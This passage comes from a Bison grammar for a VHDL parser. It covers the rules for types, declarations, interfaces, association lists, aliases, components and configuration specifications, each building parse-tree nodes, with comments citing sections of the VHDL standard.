KW_FILE KW_OF type_mark {
$$ = new VhdlParseTreeNode(PT_FILE_TYPE_DEFINITION);
$$->pieces[0] = $3;
}
/// Section 5.6
protected_type_definition:
protected_type_declaration
| protected_type_body
/// Section 5.6.2
protected_type_declaration:
_real_protected_type_declaration
| _real_protected_type_declaration identifier {
$$ = $1;
$$->pieces[1] = $2;
}
_real_protected_type_declaration:
KW_PROTECTED protected_type_declarative_part KW_END KW_PROTECTED {
$$ = new VhdlParseTreeNode(PT_PROTECTED_TYPE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
protected_type_declarative_part:
%empty
| _real_protected_type_declarative_part
_real_protected_type_declarative_part:
protected_type_declarative_item
| _real_protected_type_declarative_part protected_type_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
protected_type_declarative_item:
_protected_type_declarative_item { STORE_LOC($$, @$); }
_protected_type_declarative_item:
subprogram_declaration
| subprogram_instantiation_declaration
| attribute_specification
| use_clause
/// Section 5.6.3
protected_type_body:
_real_protected_type_body
| _real_protected_type_body identifier {
$$ = $1;
$$->pieces[1] = $2;
}
_real_protected_type_body:
KW_PROTECTED KW_BODY protected_type_body_declarative_part
KW_END KW_PROTECTED KW_BODY {
$$ = new VhdlParseTreeNode(PT_PROTECTED_TYPE_BODY);
$$->pieces[0] = $3;
$$->pieces[1] = nullptr;
}
protected_type_body_declarative_part:
%empty
| _real_protected_type_body_declarative_part
_real_protected_type_body_declarative_part:
protected_type_body_declarative_item
| _real_protected_type_body_declarative_part
protected_type_body_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
protected_type_body_declarative_item:
_protected_type_body_declarative_item { STORE_LOC($$, @$); }
_protected_type_body_declarative_item:
subprogram_declaration
| subprogram_body
| subprogram_instantiation_declaration
| package_declaration
| package_body
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| variable_declaration
| file_declaration
| alias_declaration
| attribute_declaration
| attribute_specification
| use_clause
| group_template_declaration
| group_declaration
/////////////////////////// Declarations, section 6 ///////////////////////////
/// Section 6.2
type_declaration:
full_type_declaration
| incomplete_type_declaration
full_type_declaration:
KW_TYPE identifier KW_IS type_definition ';' {
$$ = new VhdlParseTreeNode(PT_FULL_TYPE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
type_definition:
scalar_type_definition
| composite_type_definition
| access_type_definition
| file_type_definition
| protected_type_definition
/// Section 6.3
subtype_declaration:
KW_SUBTYPE identifier KW_IS subtype_indication ';' {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
subtype_indication:
type_mark {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
}
| resolution_indication type_mark {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $1;
$$->pieces[2] = nullptr;
}
| type_mark constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
$$->pieces[2] = $2;
}
| resolution_indication type_mark constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $1;
$$->pieces[2] = $3;
}
// Does not handle the case of only a type_mark because that can cause
// ambiguities. Does not allow a resolution indication because that isn't
// actually permitted (see 5.3.2.1).
_almost_discrete_subtype_indication:
type_mark _discrete_constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
$$->pieces[2] = $2;
}
// Reallow identifiers (a plain type_mark but not an attribute)
// FIXME: Ugly, the reason attribute isn't allowed is because this is used in
// discrete_range which can also be range which can be an attribute.
discrete_subtype_indication:
_simple_or_selected_name
| _almost_discrete_subtype_indication
_allocator_subtype_indication:
// Resolution indications not allowed
type_mark {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
}
| type_mark _allocator_constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
$$->pieces[2] = $2;
}
// This is an attempt to cover exactly those things that are subtype_indication
// but not a name. When we know we have a resolution_indication this is easy,
// but when we don't we might have no idea. The disambiguation is done by
// trying to look for either "stuff in parentheses" that cannot be a function
// call or a slice or "stuff after the parentheses" that cannot come after
// a function call or a slice. Does not have a bare name because that's
// ambiguous.
_association_list_subtype_indication:
resolution_indication type_mark {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $1;
$$->pieces[2] = nullptr;
}
| type_mark _association_list_definitely_constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
$$->pieces[2] = $2;
}
| resolution_indication type_mark constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $1;
$$->pieces[2] = $3;
}
// HACK, FIXME
| _hack_name_for_association_list
_morph_name_into_subtype_indication_constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION_AMBIG_WTF);
$$->pieces[0] = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0]->pieces[0] = $1;
$$->pieces[0]->pieces[1] = $2;
}
resolution_indication:
// The following two are for function names
function_name
| _parens_element_resolution
// Folding in the element_resolution eliminates a reduce/reduce conflict.
_parens_element_resolution:
'(' function_name ')' {
$$ = new VhdlParseTreeNode(PT_ELEMENT_RESOLUTION_NEST);
$$->pieces[0] = $2;
}
| '(' _parens_element_resolution ')' {
$$ = new VhdlParseTreeNode(PT_ELEMENT_RESOLUTION_NEST);
$$->pieces[0] = $2;
}
| '(' record_resolution ')' {
$$ = new VhdlParseTreeNode(PT_ELEMENT_RESOLUTION_NEST);
$$->pieces[0] = $2;
}
record_resolution:
record_element_resolution
| record_resolution ',' record_element_resolution {
$$ = new VhdlParseTreeNode(PT_RECORD_RESOLUTION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
record_element_resolution:
identifier resolution_indication {
$$ = new VhdlParseTreeNode(PT_RECORD_ELEMENT_RESOLUTION);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// A type can be the special attributes 'subtype or 'element (but not an
// attribute with parentheses, because functions can't return types).
type_mark:
_simple_or_selected_name
| _almost_attribute_name
// FIXME: explain why there is a S/R conflict here
constraint:
range_constraint
| array_constraint
| record_constraint
_association_list_definitely_constraint:
range_constraint
| _definitely_further_element_constraint
// When a "discrete" subtype indication is needed, the _only_ type of
// constraint we can have is a range constraint. Arrays and records aren't
// discrete.
_discrete_constraint:
range_constraint
_allocator_constraint:
// Can only be an array or record constraint
array_constraint
| record_constraint
element_constraint:
array_constraint
| record_constraint
_definitely_further_element_constraint:
_definitely_not_name_array_constraint
| _definitely_not_name_record_constraint
/// Section 6.4.2.2
constant_declaration:
KW_CONSTANT identifier_list ':' subtype_indication ';' {
$$ = new VhdlParseTreeNode(PT_CONSTANT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
| KW_CONSTANT identifier_list ':' subtype_indication
DL_ASS expression ';' {
$$ = new VhdlParseTreeNode(PT_CONSTANT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
}
/// Section 6.4.2.3
signal_declaration:
KW_SIGNAL identifier_list ':' subtype_indication ';' {
$$ = new VhdlParseTreeNode(PT_SIGNAL_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| KW_SIGNAL identifier_list ':' subtype_indication
DL_ASS expression ';' {
$$ = new VhdlParseTreeNode(PT_SIGNAL_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = $6;
}
| KW_SIGNAL identifier_list ':' subtype_indication signal_kind ';' {
$$ = new VhdlParseTreeNode(PT_SIGNAL_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
| KW_SIGNAL identifier_list ':' subtype_indication signal_kind
DL_ASS expression ';' {
$$ = new VhdlParseTreeNode(PT_SIGNAL_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = $7;
}
signal_kind:
KW_REGISTER {
$$ = new VhdlParseTreeNode(PT_SIGNAL_KIND);
$$->signal_kind = SIGKIND_REGISTER;
}
| KW_BUS {
$$ = new VhdlParseTreeNode(PT_SIGNAL_KIND);
$$->signal_kind = SIGKIND_BUS;
}
/// Section 6.4.2.4
variable_declaration:
_real_variable_declaration
| KW_SHARED _real_variable_declaration {
$$ = $2;
$$->boolean = true;
}
_real_variable_declaration:
KW_VARIABLE identifier_list ':' subtype_indication ';' {
$$ = new VhdlParseTreeNode(PT_VARIABLE_DECLARATION);
$$->boolean = false;
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
| KW_VARIABLE identifier_list ':' subtype_indication
DL_ASS expression ';' {
$$ = new VhdlParseTreeNode(PT_VARIABLE_DECLARATION);
$$->boolean = false;
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
}
/// Section 6.4.2.5
file_declaration:
KW_FILE identifier_list ':' subtype_indication ';' {
$$ = new VhdlParseTreeNode(PT_FILE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
| KW_FILE identifier_list ':' subtype_indication
file_open_information ';' {
$$ = new VhdlParseTreeNode(PT_FILE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
}
file_open_information:
KW_IS expression {
$$ = new VhdlParseTreeNode(PT_FILE_OPEN_INFORMATION);
$$->pieces[0] = $2;
}
| KW_OPEN expression KW_IS expression {
$$ = new VhdlParseTreeNode(PT_FILE_OPEN_INFORMATION);
$$->pieces[0] = $4;
$$->pieces[1] = $2;
}
/// Section 6.5
interface_declaration: _interface_declaration { STORE_LOC($$, @$); }
_interface_declaration:
interface_object_declaration
| interface_type_declaration
| interface_subprogram_declaration
| interface_package_declaration
/// Section 6.5.2
interface_object_declaration:
_interface_ambig_obj_declaration
| _definitely_interface_constant_declaration
| _definitely_interface_signal_declaration
| _definitely_interface_variable_declaration
| interface_file_declaration
_definitely_interface_constant_declaration:
KW_CONSTANT _interface_ambig_obj_declaration {
$$ = $2;
$$->type = PT_INTERFACE_CONSTANT_DECLARATION;
}
_definitely_interface_signal_declaration:
KW_SIGNAL _interface_ambig_obj_declaration {
$$ = $2;
$$->boolean = false;
$$->type = PT_INTERFACE_SIGNAL_DECLARATION;
}
| _interface_signal_bus_declaration
| KW_SIGNAL _interface_signal_bus_declaration {
$$ = $2;
}
_definitely_interface_variable_declaration:
KW_VARIABLE _interface_ambig_obj_declaration {
$$ = $2;
$$->type = PT_INTERFACE_VARIABLE_DECLARATION;
}
// Handles all the cases where there is no explicit type
_interface_ambig_obj_declaration:
identifier_list ':' subtype_indication {
$$ = new VhdlParseTreeNode(PT_INTERFACE_AMBIG_OBJ_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| identifier_list ':' mode subtype_indication {
$$ = new VhdlParseTreeNode(PT_INTERFACE_AMBIG_OBJ_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = $3;
}
| identifier_list ':' subtype_indication DL_ASS expression {
$$ = new VhdlParseTreeNode(PT_INTERFACE_AMBIG_OBJ_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
| identifier_list ':' mode subtype_indication DL_ASS expression {
$$ = new VhdlParseTreeNode(PT_INTERFACE_AMBIG_OBJ_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = $3;
}
// Has the keyword "bus" in it
_interface_signal_bus_declaration:
identifier_list ':' subtype_indication KW_BUS {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SIGNAL_DECLARATION);
$$->boolean = true;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| identifier_list ':' mode subtype_indication KW_BUS {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SIGNAL_DECLARATION);
$$->boolean = true;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = $3;
}
| identifier_list ':' subtype_indication KW_BUS DL_ASS expression {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SIGNAL_DECLARATION);
$$->boolean = true;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
}
| identifier_list ':' mode subtype_indication KW_BUS DL_ASS expression {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SIGNAL_DECLARATION);
$$->boolean = true;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $7;
$$->pieces[3] = $3;
}
mode:
KW_IN {
$$ = new VhdlParseTreeNode(PT_INTERFACE_MODE);
$$->interface_mode = MODE_IN;
}
| KW_OUT {
$$ = new VhdlParseTreeNode(PT_INTERFACE_MODE);
$$->interface_mode = MODE_OUT;
}
| KW_INOUT {
$$ = new VhdlParseTreeNode(PT_INTERFACE_MODE);
$$->interface_mode = MODE_INOUT;
}
| KW_BUFFER {
$$ = new VhdlParseTreeNode(PT_INTERFACE_MODE);
$$->interface_mode = MODE_BUFFER;
}
| KW_LINKAGE {
$$ = new VhdlParseTreeNode(PT_INTERFACE_MODE);
$$->interface_mode = MODE_LINKAGE;
}
interface_file_declaration:
KW_FILE identifier_list ':' subtype_indication {
$$ = new VhdlParseTreeNode(PT_INTERFACE_FILE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 6.5.3
interface_type_declaration:
KW_TYPE identifier {
$$ = new VhdlParseTreeNode(PT_INTERFACE_TYPE_DECLARATION);
$$->pieces[0] = $2;
}
/// Section 6.5.4
interface_subprogram_declaration:
interface_subprogram_specification {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SUBPROGRAM_DECLARATION);
$$->pieces[0] = $1;
}
| interface_subprogram_specification KW_IS name {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SUBPROGRAM_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| interface_subprogram_specification KW_IS DL_BOX {
$$ = new VhdlParseTreeNode(PT_INTERFACE_SUBPROGRAM_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] =
new VhdlParseTreeNode(PT_INTERFACE_SUBPROGRAM_DEFAULT_BOX);
}
interface_subprogram_specification:
interface_procedure_specification
| interface_function_specification
interface_procedure_specification:
KW_PROCEDURE designator {
$$ = new VhdlParseTreeNode(PT_INTERFACE_PROCEDURE_SPECIFICATION);
$$->pieces[0] = $2;
}
| KW_PROCEDURE designator '(' interface_list ')' {
$$ = new VhdlParseTreeNode(PT_INTERFACE_PROCEDURE_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
| KW_PROCEDURE designator KW_PARAMETER '(' interface_list ')' {
$$ = new VhdlParseTreeNode(PT_INTERFACE_PROCEDURE_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
}
interface_function_specification:
_real_interface_function_specification
| KW_PURE _real_interface_function_specification {
$$ = $2;
$$->purity = PURITY_PURE;
}
| KW_IMPURE _real_interface_function_specification {
$$ = $2;
$$->purity = PURITY_IMPURE;
}
_real_interface_function_specification:
KW_FUNCTION designator KW_RETURN type_mark {
$$ = new VhdlParseTreeNode(PT_INTERFACE_FUNCTION_SPECIFICATION);
$$->purity = PURITY_UNSPEC;
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
| KW_FUNCTION designator '(' interface_list ')' KW_RETURN type_mark {
$$ = new VhdlParseTreeNode(PT_INTERFACE_FUNCTION_SPECIFICATION);
$$->purity = PURITY_UNSPEC;
$$->pieces[0] = $2;
$$->pieces[1] = $7;
$$->pieces[2] = $4;
}
| KW_FUNCTION designator KW_PARAMETER '(' interface_list ')'
KW_RETURN type_mark {
$$ = new VhdlParseTreeNode(PT_INTERFACE_FUNCTION_SPECIFICATION);
$$->purity = PURITY_UNSPEC;
$$->pieces[0] = $2;
$$->pieces[1] = $8;
$$->pieces[2] = $5;
}
/// Section 6.5.5
interface_package_declaration:
KW_PACKAGE identifier
KW_IS KW_NEW name interface_package_generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_INTERFACE_PACKAGE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $6;
}
interface_package_generic_map_aspect:
generic_map_aspect
| KW_GENERIC KW_MAP '(' DL_BOX ')' {
$$ = new VhdlParseTreeNode(PT_INTERFACE_PACKAGE_GENERIC_MAP_BOX);
}
| KW_GENERIC KW_MAP '(' KW_DEFAULT ')' {
$$ = new VhdlParseTreeNode(PT_INTERFACE_PACKAGE_GENERIC_MAP_DEFAULT);
}
/// Section 6.5.6
interface_list:
interface_declaration
| interface_list ';' interface_declaration {
$$ = new VhdlParseTreeNode(PT_INTERFACE_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 6.5.7
// FIXME ugly: If we see a bare "open", we know we're going to be a
// function call and cannot hit ambiguities with _ambig_name_parens.
_definitely_parameter_association_list:
_definitely_parameter_association_element
| KW_OPEN {
$$ = new VhdlParseTreeNode(PT_TOK_OPEN);
}
| _one_or_more_expressions ',' _definitely_parameter_association_element {
$$ = new VhdlParseTreeNode(PT_PARAMETER_ASSOCIATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// HACK
| _one_or_more_expressions ',' KW_OPEN {
$$ = new VhdlParseTreeNode(PT_PARAMETER_ASSOCIATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = new VhdlParseTreeNode(PT_TOK_OPEN);
}
| _definitely_parameter_association_list ','
_definitely_parameter_association_element {
$$ = new VhdlParseTreeNode(PT_PARAMETER_ASSOCIATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// HACK
| _definitely_parameter_association_list ',' _function_actual_part {
$$ = new VhdlParseTreeNode(PT_PARAMETER_ASSOCIATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// Must have => in it
_definitely_parameter_association_element:
name DL_ARR _function_actual_part {
$$ = new VhdlParseTreeNode(PT_PARAMETER_ASSOCIATION_ELEMENT);
$$->pieces[0] = $3;
$$->pieces[1] = $1;
}
// By accepting expression we already accept all the possible types of names.
// We cannot accept a type (subtype_indication). We can additionally accept
// "open" however. "inertial" is not allowed for functions.
_function_actual_part:
expression
| KW_OPEN {
$$ = new VhdlParseTreeNode(PT_TOK_OPEN);
}
// Here are the non-hacked versions
association_list:
association_element
| association_list ',' association_element {
$$ = new VhdlParseTreeNode(PT_ASSOCIATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
association_element:
actual_part {
$$ = new VhdlParseTreeNode(PT_ASSOCIATION_ELEMENT);
$$->pieces[0] = $1;
}
| name DL_ARR actual_part {
$$ = new VhdlParseTreeNode(PT_ASSOCIATION_ELEMENT);
$$->pieces[0] = $3;
$$->pieces[1] = $1;
}
actual_part:
// actual_designator is folded in
expression
| KW_INERTIAL expression {
$$ = new VhdlParseTreeNode(PT_INERTIAL_EXPRESSION);
$$->pieces[0] = $2;
}
// expression includes all the possible types of names
| _association_list_subtype_indication
| KW_OPEN {
$$ = new VhdlParseTreeNode(PT_TOK_OPEN);
}
generic_map_aspect:
KW_GENERIC KW_MAP '(' association_list ')' {
$$ = new VhdlParseTreeNode(PT_GENERIC_MAP_ASPECT);
$$->pieces[0] = $4;
}
port_map_aspect:
KW_PORT KW_MAP '(' association_list ')' {
$$ = new VhdlParseTreeNode(PT_PORT_MAP_ASPECT);
$$->pieces[0] = $4;
}
/// Section 6.6
alias_declaration:
KW_ALIAS alias_designator KW_IS name ';' {
$$ = new VhdlParseTreeNode(PT_ALIAS_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| KW_ALIAS alias_designator ':' subtype_indication KW_IS name ';' {
$$ = new VhdlParseTreeNode(PT_ALIAS_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $6;
$$->pieces[2] = $4;
$$->pieces[3] = nullptr;
}
| KW_ALIAS alias_designator KW_IS name signature ';' {
$$ = new VhdlParseTreeNode(PT_ALIAS_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = $5;
}
| KW_ALIAS alias_designator ':' subtype_indication
KW_IS name signature ';' {
$$ = new VhdlParseTreeNode(PT_ALIAS_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $6;
$$->pieces[2] = $4;
$$->pieces[3] = $7;
}
alias_designator:
identifier
| character_literal
| string_literal // was operator_symbol
/// Section 6.7
attribute_declaration:
KW_ATTRIBUTE identifier ':' type_mark ';' {
$$ = new VhdlParseTreeNode(PT_ATTRIBUTE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 6.8
// generic_clause is expanded because why not, and port_clause is following
component_declaration:
_real_component_declaration ';'
| _real_component_declaration identifier ';' {
$$ = $1;
$$->pieces[3] = $2;
}
_real_component_declaration:
KW_COMPONENT identifier __maybe_is KW_END KW_COMPONENT {
$$ = new VhdlParseTreeNode(PT_COMPONENT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| KW_COMPONENT identifier __maybe_is
KW_GENERIC '(' interface_list ')' ';'
KW_END KW_COMPONENT {
$$ = new VhdlParseTreeNode(PT_COMPONENT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $6;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| KW_COMPONENT identifier __maybe_is
KW_PORT '(' interface_list ')' ';'
KW_END KW_COMPONENT {
$$ = new VhdlParseTreeNode(PT_COMPONENT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
}
| KW_COMPONENT identifier __maybe_is
KW_GENERIC '(' interface_list ')' ';'
KW_PORT '(' interface_list ')' ';'
KW_END KW_COMPONENT {
$$ = new VhdlParseTreeNode(PT_COMPONENT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $6;
$$->pieces[2] = $11;
$$->pieces[3] = nullptr;
}
/// Section 6.9
group_template_declaration:
KW_GROUP identifier KW_IS '(' entity_class_entry_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_GROUP_TEMPLATE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
}
entity_class_entry_list:
entity_class_entry
| entity_class_entry_list ',' entity_class_entry {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS_ENTRY_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
entity_class_entry:
entity_class {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS_ENTRY);
$$->boolean = false;
$$->pieces[0] = $1;
}
| entity_class DL_BOX {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS_ENTRY);
$$->boolean = true;
$$->pieces[0] = $1;
}
/// Section 6.10
group_declaration:
KW_GROUP identifier ':' _simple_or_selected_name
'(' _list_of_names ')' ';' {
$$ = new VhdlParseTreeNode(PT_GROUP_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
}
////////////////////////// Specifications, section 7 //////////////////////////
/// Section 7.2
attribute_specification:
KW_ATTRIBUTE identifier KW_OF entity_specification KW_IS expression ';' {
$$ = new VhdlParseTreeNode(PT_ATTRIBUTE_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
}
entity_specification:
entity_name_list ':' entity_class {
$$ = new VhdlParseTreeNode(PT_ENTITY_SPECIFICATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
entity_class:
KW_ENTITY {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_ENTITY;
}
| KW_ARCHITECTURE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_ARCHITECTURE;
}
| KW_CONFIGURATION {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_CONFIGURATION;
}
| KW_PROCEDURE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_PROCEDURE;
}
| KW_FUNCTION {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_FUNCTION;
}
| KW_PACKAGE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_PACKAGE;
}
| KW_TYPE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_TYPE;
}
| KW_SUBTYPE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_SUBTYPE;
}
| KW_CONSTANT {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_CONSTANT;
}
| KW_SIGNAL {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_SIGNAL;
}
| KW_VARIABLE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_VARIABLE;
}
| KW_COMPONENT {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_COMPONENT;
}
| KW_LABEL {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_LABEL;
}
| KW_LITERAL {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_LITERAL;
}
| KW_UNITS {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_UNITS;
}
| KW_GROUP {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_GROUP;
}
| KW_FILE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_FILE;
}
| KW_PROPERTY {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_PROPERTY;
}
| KW_SEQUENCE {
$$ = new VhdlParseTreeNode(PT_ENTITY_CLASS);
$$->entity_class = ENTITY_SEQUENCE;
}
entity_name_list:
_one_or_more_entity_designators
| KW_OTHERS {
$$ = new VhdlParseTreeNode(PT_ENTITY_NAME_LIST_OTHERS);
}
| KW_ALL {
$$ = new VhdlParseTreeNode(PT_ENTITY_NAME_LIST_ALL);
}
_one_or_more_entity_designators:
entity_designator
| _one_or_more_entity_designators ',' entity_designator {
$$ = new VhdlParseTreeNode(PT_ENTITY_NAME_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
entity_designator:
entity_tag {
$$ = new VhdlParseTreeNode(PT_ENTITY_DESIGNATOR);
$$->pieces[0] = $1;
}
| entity_tag signature {
$$ = new VhdlParseTreeNode(PT_ENTITY_DESIGNATOR);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
entity_tag:
identifier
| character_literal
| string_literal
/// Section 7.3
configuration_specification:
simple_configuration_specification
| compound_configuration_specification
simple_configuration_specification:
KW_FOR component_specification binding_indication ';' {
$$ = new VhdlParseTreeNode(PT_SIMPLE_CONFIGURATION_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
}
| KW_FOR component_specification binding_indication ';'
KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_SIMPLE_CONFIGURATION_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
}
compound_configuration_specification:
KW_FOR component_specification binding_indication ';'
_one_or_more_verification_unit_binding_indications
KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_COMPOUND_CONFIGURATION_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
}
component_specification:
instantiation_list ':' name {
$$ = new VhdlParseTreeNode(PT_COMPONENT_SPECIFICATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
instantiation_list:
identifier_list // was instantiation_label
| KW_OTHERS {
$$ = new VhdlParseTreeNode(PT_INSTANTIATION_LIST_OTHERS);
}
| KW_ALL {
$$ = new VhdlParseTreeNode(PT_INSTANTIATION_LIST_ALL);
}
binding_indication:
%empty {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
}
| KW_USE entity_aspect {
